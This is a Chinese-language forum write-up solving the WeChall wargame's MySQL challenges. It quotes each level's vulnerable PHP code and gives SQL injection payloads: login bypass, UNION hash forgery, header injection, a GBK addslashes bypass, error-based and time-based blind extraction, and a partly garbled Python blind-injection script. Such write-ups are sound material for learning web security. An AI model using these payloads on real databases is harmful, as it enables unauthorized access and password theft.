阅读:2037回复:0
wechall mysql关卡题解
特别鸣谢 Random Debug Slipper 对我的无私帮助
PS:虽然是一份题解,但是其中某些题目的解法还有些不尽人意。如有更好的思路欢迎留言评论 :) QQ:915910623 Training: MySQL I 最简单的注入情况,参数没有经过任何过滤就带入查询 漏洞代码: #!php function auth1_onLogin(WC_Challenge $chall, $username, $password) { $db = auth1_db(); $password = md5($password); $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; if (false === ($result = $db->queryFirst($query))) { echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user return false; } # Welcome back! echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false); # Challenge solved? if (strtolower($result['username']) === 'admin') { $chall->onChallengeSolved(GWF_Session::getUserID()); } return true; } 利用语句: username=admin' -- MySQL Authentication Bypass II 比较基础的题目,和上一题不同,username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。 漏洞代码: #!php function auth2_onLogin(WC_Challenge $chall, $username, $password) { $db = auth2_db(); $password = md5($password); $query = "SELECT * FROM users WHERE username='$username'"; if (false === ($result = $db->queryFirst($query))) { echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false); return false; } ############################# ### This is the new check ### if ($result['password'] !== $password) { echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false); return false; } # End of the new code ### ############################# echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false); if (strtolower($result['username']) === 'admin') { $chall->onChallengeSolved(GWF_Session::getUserID()); } return true; } 利用语句: username=wyl' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' -- &password=1&login=Login 也可以直接使用mysql自带的 MD5 函数来生成 hash username=wyl' union select 1,'admin',md5('1') -- &password=1&login=Login No Escape 一个投票的功能,使用mysql_real_escape_string() 对参数进行了过滤,不过并不需要绕过它,因为它并不会过滤重音符(backtick) 漏洞代码: #!php function noesc_voteup($who) { if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) { echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false); return; } $db = noesc_db(); $who = mysql_real_escape_string($who); $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1"; if (false !== $db->queryWrite($query)) { echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false); } noesc_stop100(); } 利用方式: vote_for=bill` = `bill` %2b 111 where bill=0 --%20 当然也可以写的简短一点 barack`=111# The Guestbook 一个留言本的程序,其中大部分参数都经过了过滤,但是IP地址直接带入insert语句,可以构造一个x-forwraded-for来实现注入 需要在insert语句中使用select子查询 漏洞代码: #!php function gbook_getIP() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_VIA'])) { return $_SERVER['HTTP_VIA']; } else { return $_SERVER['REMOTE_ADDR']; } } 利用方式: 头中不能使用urlencode,末尾空格会被会忽略 X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) # 如果非要使用--也可以这样构造 X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a MD5.SALT 这道题是一道简单的注入,不过需要破解MD5,在网站上付费一下就可以了。 漏洞代码: 题目没有给出源代码 利用方式: ' union select password,2 from users -- Addslashes 这题的参数使用了Addslashes()函数进行了过滤,使用双字节绕过即可。 漏洞代码: #!php function asvsmysql_login($username, $password) { $username = addslashes($username); $password = md5($password); if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) { return htmlDisplayError('Can`t connect to database.'); } $db->setLogging(false); $db->setEMailOnError(false); $query = "SELECT username FROM users WHERE username='$username' AND password='$password'"; if (false === ($result = $db->queryFirst($query))) { return htmlDisplayError('Wrong username/password.'); } if ($result['username'] !== 'Admin') { return htmlDisplayError('You are logged in, but not as Admin.'); } return htmlDisplayMessage('You are logged in. congrats!'); } 利用方式: 使用limit猜测一下,admin的位置 username=Admin%bf' union select username from users limit 1,1 -- 或者直接构造一个admin出来 username=%b3%27+union+select+Char(65,100,109,105,110)/* 当然这些方法,主要是为了绕过单引号,还有一些有趣的利用 username=%bf%27 OR CONV(username,36,10) = 17431871# Blinded by the light 盲注,参数没用经过过滤,猜测一个32位的hash,但是要求在128次之内猜解出来,使用二分即可。 漏洞代码: #!php function blightVuln($password) { # Do not mess with other sessions! if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) { return false; } $db = blightDB(); $sessid = GWF_Session::getSession()->getID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return $db->queryFirst($query) !== false; } 利用脚本: 常规的二分盲注 #!python import urllib import urllib2 def doinject(payload): url = 'http://www.wechall.net/challenge/blind_light/index.php' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','WC=7205526-10787-ZSOZPXjj8gf4BE7K') response = urllib2.urlopen(req) the_page = response.read() if (the_page.find("Welcome back")>0): return True else: return False wordlist = "0123456789ABCDEF" res = "" for i in range(1,33): s=0 t=15 while (squeryFirst($query) !== false; } 利用方式: 使用基于时间的注入来判断字符ascii码 ' or benchmark(ord(substr(password,1,1))*1000000,MD5(1)) 这样做可以提高一点精确度 ' or sleep(ord(substr(password,1,1))) ps.这题使用这种方法写的脚本,在精度上会出现问题,如果有什么好的思路请留言告知~~~~ Light in the Darkness 上面两题的加强版,只允许2次查询。不过是返回错误信息的盲注。可以使用双查询报错。 漏洞代码: #!php function blightVuln($password) { # Do not mess with other sessions! if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) { return false; } $db = blightDB(); $sessid = GWF_Session::getSessSID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return $db->queryFirst($query) !== false; } 利用方式: 1' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2))) -- 我其实对这种报错方式的原理很好奇,也很不解,有感兴趣的同学欢迎指教。 下面是我对这题的几点疑惑: 特别是使用用户变量时,反应也很神奇,比如这题的另一种解法,不明白其中的原理。 '||(select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2))||' 我当时设想出这样一种解法,但是发现包含有@xxxx的语句都不会触发这个bug,除非@xxxx是纯数字。很迷茫。 ' or (@lanlan:=password) or (select 1 from(select count(*),concat(@lanlan,floor(rand(0)*2))x from information_schema.tables group by x)a) -- Are you blind? 这题也是一道盲注,可是不管对错返回的结果一样。可以使用order by报错的方法来盲注。 漏洞代码: #!php function blightVuln(WC_Challenge $chall, $password, $attempt) { # Do not mess with other sessions! if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) { return $chall->lang('mawekl_blinds_you', array($attempt)); } # And please, no timing attempts! if ( (stripos($password, 'benchmark') !== false) || (stripos($password, 'sleep') !== false) ) { return $chall->lang('mawekl_blinds_you', array($attempt)); } $db = blightDB(); $sessid = GWF_Session::getSessSID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return $db->queryFirst($query) ? $chall->lang('mawekl_blinds_you', array($attempt)) : $chall->lang('mawekl_blinds_you', array($attempt)) ; } 利用语句: injection=' or if(1,1,(select 1 union select 2)) = 1 -- &inject=Inject Order By Query 这是一个在order by后面的注入,可以直接使用双查询报错来解决。也可以使用盲注的手法猜测。 漏洞代码: #!php function addslash2_sort($orderby, $dir) { if (false === ($db = addslash2_get_db())) { return false; } static $whitelist = array(1, 3, 4, 5); static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries'); $dir = GDO::getWhitelistedDirS($dir, 'DESC'); if (!in_array($orderby, $whitelist)) { return htmlDisplayError('Error 1010101: Not in whitelist.'); } $orderby = $db->escape($orderby); $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10"; if (false === ($rows = $db->queryAll($query))) { return false; } $headers = array( array('#'), array('Username', '1', 'ASC'), array('Apples', '3', 'DESC'), array('Bananas', '4', 'DESC'), array('Cherries', '5', 'DESC'), ); echo ''.PHP_EOL; echo '[table]'.PHP_EOL; echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%'); $i = 1; foreach ($rows as $row) { echo GWF_Table::rowStart(); echo sprintf('[td]%d[/td]', $i++); echo sprintf('[td]%s[/td]', $row['username']); echo sprintf('[td]%s[/td]', $row['apples']); echo sprintf('[td]%s[/td]', $row['bananas']); echo sprintf('[td]%s[/td]', $row['cherries']); echo GWF_Table::rowEnd(); } echo '[/table]'.PHP_EOL; echo ' '.PHP_EOL; } 利用方式: by=5 and (select 1 from(select count(*),concat((select password from users where username=0x41646d696e),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) -- 盲注脚本 #!php Table Names 猜测表名和数据库名的题目,直接查询information_schema即可 漏洞代码: 没有给出源代码 利用方式: 得到表名 username=wyl' union select 1,2,table_name from information_schema.columns where column_name='username' limit 1,1 -- 得到数据库名 [code]username=wyl' union select 1,2,database() -- [/code] Table Names II 这道题同样是猜测,数据库名和表名,不过很多关键词都被过滤了。查到mysql的版本,根据文档找information_schema里面的表, 一个一个试一下就行了。 漏洞代码: #!php |
|